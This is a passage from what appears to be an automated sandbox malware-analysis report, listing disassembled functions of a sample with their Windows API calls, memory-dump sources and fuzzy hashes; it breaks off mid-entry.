                              • PostMessageW.USER32(?,00000112,0000F060,00000000), ref: 0046A0C9
                              • GetFocus.USER32 ref: 0046A0DD
                              • GetDlgCtrlID.USER32(00000000), ref: 0046A0E8
                              • PostMessageW.USER32(?,00000111,?,00000000), ref: 0046A13C
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: MessagePost$CtrlFocus
                              • String ID: 0
                              • API String ID: 1534620443-4108050209
                              • Opcode ID: d1db05db4fd2a56646a253bb82972057caa917eb73d061b61dca20a17b51d953
                              • Instruction ID: bf3f5449e9a8ba554bb586fd0597798874618ae7c394ba8af81d11134a55f14d
                              • Opcode Fuzzy Hash: d1db05db4fd2a56646a253bb82972057caa917eb73d061b61dca20a17b51d953
                              • Instruction Fuzzy Hash: 9791AD71604711AFE710CF14D884BABB7A4FB85314F004A1EF991A7381E7B9D895CBAB
                              Function 00431A86 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 139fileCOMMON
                              Download Yara Rule
                              APIs
                              • FindFirstFileW.KERNEL32(?,?), ref: 00431AAA
                              • GetFileAttributesW.KERNEL32(?), ref: 00431AE7
                              • SetFileAttributesW.KERNEL32(?,?), ref: 00431AFD
                              • FindNextFileW.KERNEL32(00000000,?), ref: 00431B0F
                              • FindClose.KERNEL32(00000000), ref: 00431B20
                              • FindClose.KERNEL32(00000000), ref: 00431B34
                              • FindFirstFileW.KERNEL32(*.*,?), ref: 00431B4F
                              • SetCurrentDirectoryW.KERNEL32(?), ref: 00431B96
                              • SetCurrentDirectoryW.KERNEL32(0048AB30), ref: 00431BBA
                              • FindNextFileW.KERNEL32(00000000,00000010), ref: 00431BC2
                              • FindClose.KERNEL32(00000000), ref: 00431BCD
                              • FindClose.KERNEL32(00000000), ref: 00431BDB
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
                              • String ID: *.*
                              • API String ID: 1409584000-438819550
                              • Opcode ID: 375c8f5163c02f9b34b1ce4408ff1b09f98ffe2d72fc8025119183882b6461df
                              • Instruction ID: b696eadadcb8a1627fc7fa6feda0e6e57aab690e04623b9265854ab7309d24dd
                              • Opcode Fuzzy Hash: 375c8f5163c02f9b34b1ce4408ff1b09f98ffe2d72fc8025119183882b6461df
                              • Instruction Fuzzy Hash: CE41D8726002046BC700EF65DC45EAFB3ACAE89311F04592FF954C3190E7B8E519C7A9
                              Function 00431BE8 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 116COMMON
                              Download Yara Rule
                              APIs
                              • GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00431C09
                              • __swprintf.LIBCMT ref: 00431C2E
                              • _wcslen.LIBCMT ref: 00431C3A
                              • CreateDirectoryW.KERNEL32(?,00000000), ref: 00431C67
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: CreateDirectoryFullNamePath__swprintf_wcslen
                              • String ID: :$\$\??\%s
                              • API String ID: 2192556992-3457252023
                              • Opcode ID: e3674d1d1678aa5b2072ca287ea13c599f7f343b69fea712d52b9408e430d9c0
                              • Instruction ID: 5b8928ca783b893dacbf0721098a8616f59dd17613a34138e213b27d6ec4c177
                              • Opcode Fuzzy Hash: e3674d1d1678aa5b2072ca287ea13c599f7f343b69fea712d52b9408e430d9c0
                              • Instruction Fuzzy Hash: EE413E726403186BD720DB54DC45FDFB3BCFF58710F00859AFA0896191EBB49A548BD8
                              Function 004720DB Relevance: 21.4, APIs: 11, Strings: 1, Instructions: 377timeCOMMON
                              Download Yara Rule
                              APIs
                              • GetLocalTime.KERNEL32(?), ref: 004722A2
                              • __swprintf.LIBCMT ref: 004722B9
                              • SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,0048BF68), ref: 004724EC
                              • SHGetFolderPathW.SHELL32(00000000,0000002B,00000000,00000000,0048BF68), ref: 00472506
                              • SHGetFolderPathW.SHELL32(00000000,00000005,00000000,00000000,0048BF68), ref: 00472520
                              • SHGetFolderPathW.SHELL32(00000000,00000023,00000000,00000000,0048BF68), ref: 0047253A
                              • SHGetFolderPathW.SHELL32(00000000,00000019,00000000,00000000,0048BF68), ref: 00472554
                              • SHGetFolderPathW.SHELL32(00000000,0000002E,00000000,00000000,0048BF68), ref: 0047256E
                              • SHGetFolderPathW.SHELL32(00000000,0000001F,00000000,00000000,0048BF68), ref: 00472588
                              • SHGetFolderPathW.SHELL32(00000000,00000017,00000000,00000000,0048BF68), ref: 004725A2
                              • SHGetFolderPathW.SHELL32(00000000,00000016,00000000,00000000,0048BF68), ref: 004725BC
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: FolderPath$LocalTime__swprintf
                              • String ID: %.3d
                              • API String ID: 3337348382-986655627
                              • Opcode ID: e729fe0eecd02e77c5ee8deaec4c56456965897f8b2a75efd2bc4ea0d4b88c57
                              • Instruction ID: 0d137f706e98bab13a4a4c7fcb7914b07bdb7c22a72ec07ab57cd4d47a51df83
                              • Opcode Fuzzy Hash: e729fe0eecd02e77c5ee8deaec4c56456965897f8b2a75efd2bc4ea0d4b88c57
                              • Instruction Fuzzy Hash: A6C1EC326101185BD710FBA1DD8AFEE7328EB44701F5045BFF909A60C2DBB99B598F64
                              Function 00442886 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 135fileCOMMON
                              Download Yara Rule
                              APIs
                              • FindFirstFileW.KERNEL32(?,?), ref: 004428A8
                              • FindNextFileW.KERNEL32(00000000,?), ref: 0044290B
                              • FindClose.KERNEL32(00000000), ref: 0044291C
                              • FindClose.KERNEL32(00000000), ref: 00442930
                              • FindFirstFileW.KERNEL32(*.*,?), ref: 0044294D
                              • SetCurrentDirectoryW.KERNEL32(?), ref: 0044299C
                              • SetCurrentDirectoryW.KERNEL32(0048AB30), ref: 004429BF
                              • FindNextFileW.KERNEL32(00000000,00000010), ref: 004429C9
                              • FindClose.KERNEL32(00000000), ref: 004429D4
                                • Part of subcall function 00433C08: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00433C2A
                              • FindClose.KERNEL32(00000000), ref: 004429E2
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
                              • String ID: *.*
                              • API String ID: 2640511053-438819550
                              • Opcode ID: 8a47bb142582fb369a588aeabde8b58686abdf3d8367fad8d2448c9b03ae91f1
                              • Instruction ID: 696d482812dd8bff2d9106dd2d2144e175b5fe2258968c3fd44c1969776f6f9a
                              • Opcode Fuzzy Hash: 8a47bb142582fb369a588aeabde8b58686abdf3d8367fad8d2448c9b03ae91f1
                              • Instruction Fuzzy Hash: AD410AB2A001186BDB10EBA5ED45FEF73689F89321F50465BFD0493280D6B8DE558BB8
                              Function 004333BE Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 86shutdownCOMMON
                              Download Yara Rule
                              APIs
                              • GetCurrentProcess.KERNEL32(00000028,?), ref: 004333CE
                              • OpenProcessToken.ADVAPI32(00000000), ref: 004333D5
                              • LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 004333EA
                              • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 0043340E
                              • GetLastError.KERNEL32 ref: 00433414
                              • ExitWindowsEx.USER32(?,00000000), ref: 00433437
                              • InitiateSystemShutdownExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,?), ref: 00433466
                              • SetSystemPowerState.KERNEL32(00000001,00000000), ref: 00433479
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ProcessSystemToken$AdjustCurrentErrorExitInitiateLastLookupOpenPowerPrivilegePrivilegesShutdownStateValueWindows
                              • String ID: SeShutdownPrivilege
                              • API String ID: 2938487562-3733053543
                              • Opcode ID: e998af62085c6697935ed50d35c6a1543144275e53dff9101095b3913992069c
                              • Instruction ID: ad32a9094aef850e2966724807b7d50af50c82f056daff98c21d8f44207777ad
                              • Opcode Fuzzy Hash: e998af62085c6697935ed50d35c6a1543144275e53dff9101095b3913992069c
                              • Instruction Fuzzy Hash: F221C971640205ABF7108FA4EC4EF7FB3ACE708702F144569FE09D51D1D6BA5D408765
                              Function 00446124 Relevance: 16.7, APIs: 11, Instructions: 182COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00436E2B: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 00436E45
                                • Part of subcall function 00436E2B: GetLastError.KERNEL32(?,00000000,?), ref: 00436E4F
                                • Part of subcall function 00436E2B: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 00436E75
                                • Part of subcall function 00436DF7: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00436E12
                              • GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 0044618A
                              • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 004461BE
                              • GetLengthSid.ADVAPI32(?), ref: 004461D0
                              • GetAce.ADVAPI32(?,00000000,?), ref: 0044620D
                              • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00446229
                              • GetLengthSid.ADVAPI32(?), ref: 00446241
                              • GetLengthSid.ADVAPI32(?,00000008,?), ref: 0044626A
                              • CopySid.ADVAPI32(00000000), ref: 00446271
                              • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 004462A3
                              • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 004462C5
                              • SetUserObjectSecurity.USER32(?,00000004,?), ref: 004462D8
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
                              • String ID:
                              • API String ID: 1255039815-0
                              • Opcode ID: cf498e736c0040d611dc61921388a4e783ba54ad69564fff20abd6321b712b19
                              • Instruction ID: cbecfdc94e872455e881353a2ef69e95113e06a92746e25f2a634f38edc45108
                              • Opcode Fuzzy Hash: cf498e736c0040d611dc61921388a4e783ba54ad69564fff20abd6321b712b19
                              • Instruction Fuzzy Hash: C251BC71A00209BBEB10EFA1CD84EEFB778BF49704F01855EF515A7241D6B8DA05CB69
                              Function 0043305F Relevance: 16.6, APIs: 11, Instructions: 122COMMON
                              Download Yara Rule
                              APIs
                              • __swprintf.LIBCMT ref: 00433073
                              • __swprintf.LIBCMT ref: 00433085
                              • __wcsicoll.LIBCMT ref: 00433092
                              • FindResourceW.KERNEL32(?,?,0000000E), ref: 004330A5
                              • LoadResource.KERNEL32(?,00000000), ref: 004330BD
                              • LockResource.KERNEL32(00000000), ref: 004330CA
                              • FindResourceW.KERNEL32(?,?,00000003), ref: 004330F7
                              • LoadResource.KERNEL32(?,00000000), ref: 00433105
                              • SizeofResource.KERNEL32(?,00000000), ref: 00433114
                              • LockResource.KERNEL32(?), ref: 00433120
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Resource$FindLoadLock__swprintf$Sizeof__wcsicoll
                              • String ID:
                              • API String ID: 1158019794-0
                              • Opcode ID: b140e135c5f727b40d296f2f4b3108eaeb1a217ee9fa6a28346dce69b8385e70
                              • Instruction ID: 48d2d5a3af9b637b7fc6f2c6b5a7fdd3517197a5f8dc2ef3994740021b7ed835
                              • Opcode Fuzzy Hash: b140e135c5f727b40d296f2f4b3108eaeb1a217ee9fa6a28346dce69b8385e70
                              • Instruction Fuzzy Hash: C741F1322002146BDB10EF65EC84FAB37ADEB89321F00846BFD01C6245E779DA51C7A8
                              Function 0045A10F Relevance: 16.6, APIs: 11, Instructions: 120clipboardmemoryCOMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Clipboard$AllocCloseEmptyGlobalOpen
                              • String ID:
                              • API String ID: 1737998785-0
                              • Opcode ID: bc1c5a0e04e7211697dd638385d424d337038878635646daacac479226a8eb74
                              • Instruction ID: d84b136cee2c902db59abfe4f82a3f409d39725fe24efd6a62fd8a04edebb5dd
                              • Opcode Fuzzy Hash: bc1c5a0e04e7211697dd638385d424d337038878635646daacac479226a8eb74
                              • Instruction Fuzzy Hash: 334114726001119FC310EFA5EC89B5EB7A4FF54315F00856EF909EB3A1EB75A941CB88
                              Function 004710F1 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 157nativewindowCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00456391: GetCursorPos.USER32(?), ref: 004563A6
                                • Part of subcall function 00456391: ScreenToClient.USER32(?,?), ref: 004563C3
                                • Part of subcall function 00456391: GetAsyncKeyState.USER32(?), ref: 00456400
                                • Part of subcall function 00456391: GetAsyncKeyState.USER32(?), ref: 00456410
                              • NtdllDialogWndProc_W.USER32(?,00000205,?,?), ref: 00471145
                              • 6FDEC580.COMCTL32(00000000), ref: 00471163
                              • 6FDEC6F0.COMCTL32 ref: 00471169
                              • ReleaseCapture.USER32 ref: 0047116F
                              • SetWindowTextW.USER32(?,00000000), ref: 00471206
                              • SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00471216
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: AsyncState$C580CaptureClientCursorDialogMessageNtdllProc_ReleaseScreenSendTextWindow
                              • String ID: @GUI_DRAGFILE$@GUI_DROPID
                              • API String ID: 4205032950-2107944366
                              • Opcode ID: 0c0f1ff16893fa866466cf5bd33a163e2c592d09522a7afef5934b76f638d362
                              • Instruction ID: f70d9246110d4513cc5ea0640624bfdb04bec8758509bedf4130776013c57ff9
                              • Opcode Fuzzy Hash: 0c0f1ff16893fa866466cf5bd33a163e2c592d09522a7afef5934b76f638d362
                              • Instruction Fuzzy Hash: D751E5706002109FD700EF59CC85BAF77A5FB89310F004A6EF945A72E2DB789D45CBAA
                              Function 0045D619 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 107COMMON
                              Download Yara Rule
                              APIs
                              • SetErrorMode.KERNEL32(00000001), ref: 0045D627
                              • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,?), ref: 0045D6B5
                              • GetLastError.KERNEL32 ref: 0045D6BF
                              • SetErrorMode.KERNEL32(00000000,?), ref: 0045D751
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Error$Mode$DiskFreeLastSpace
                              • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
                              • API String ID: 4194297153-14809454
                              • Opcode ID: 7585e308607772b0055f7746bf91c511cc03d2319b95ee688ecb5d1da683c46d
                              • Instruction ID: 1f300c266cb1daf6abeae651b696e439ee3a0372042695327ab67fb83666ce96
                              • Opcode Fuzzy Hash: 7585e308607772b0055f7746bf91c511cc03d2319b95ee688ecb5d1da683c46d
                              • Instruction Fuzzy Hash: FE418235D00209DFCB10EFA5C884A9DB7B4FF48315F10846BE905AB352D7799A85CB69
                              Function 0044EB5F Relevance: 12.9, APIs: 3, Strings: 4, Instructions: 643COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _memmove$_strncmp
                              • String ID: @oH$\$^$h
                              • API String ID: 2175499884-3701065813
                              • Opcode ID: 988809b36a944a9929e300e154a4cfc85b4d4f50dea7e6e4a67b5f519bc2876c
                              • Instruction ID: 796dcd1322dc9123c5f4e5533c800aedaabe8dca19c5b95ba0af32eff2573e22
                              • Opcode Fuzzy Hash: 988809b36a944a9929e300e154a4cfc85b4d4f50dea7e6e4a67b5f519bc2876c
                              • Instruction Fuzzy Hash: 4242E170E04249CFEB14CF69C8806AEBBF2FF85304F2481AAD856AB351D7399946CF55
                              Function 004652BE Relevance: 12.1, APIs: 8, Instructions: 97networkCOMMON
                              Download Yara Rule
                              APIs
                              • socket.WSOCK32(00000002,00000001,00000006,00000000), ref: 0046530D
                              • WSAGetLastError.WSOCK32(00000000), ref: 0046531C
                              • bind.WSOCK32(00000000,?,00000010), ref: 00465356
                              • WSAGetLastError.WSOCK32(00000000), ref: 00465363
                              • closesocket.WSOCK32(00000000,00000000), ref: 00465377
                              • listen.WSOCK32(00000000,00000005), ref: 00465381
                              • WSAGetLastError.WSOCK32(00000000), ref: 004653A9
                              • closesocket.WSOCK32(00000000,00000000), ref: 004653BD
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ErrorLast$closesocket$bindlistensocket
                              • String ID:
                              • API String ID: 540024437-0
                              • Opcode ID: 56b395d1b7441155ee1d78469f99a9871a9e2360f64803e3ab449944eb02724f
                              • Instruction ID: 689f190a2b8ca197395c4559ba4ec64c13dad074e2778b61c05f6be918bdb8b0
                              • Opcode Fuzzy Hash: 56b395d1b7441155ee1d78469f99a9871a9e2360f64803e3ab449944eb02724f
                              • Instruction Fuzzy Hash: A8319331200500ABD310EF25DD89B6EB7A8EF44725F10866EF855E73D1DBB4AC818B99
                              Function 0044663B Relevance: 11.4, APIs: 1, Strings: 5, Instructions: 895COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
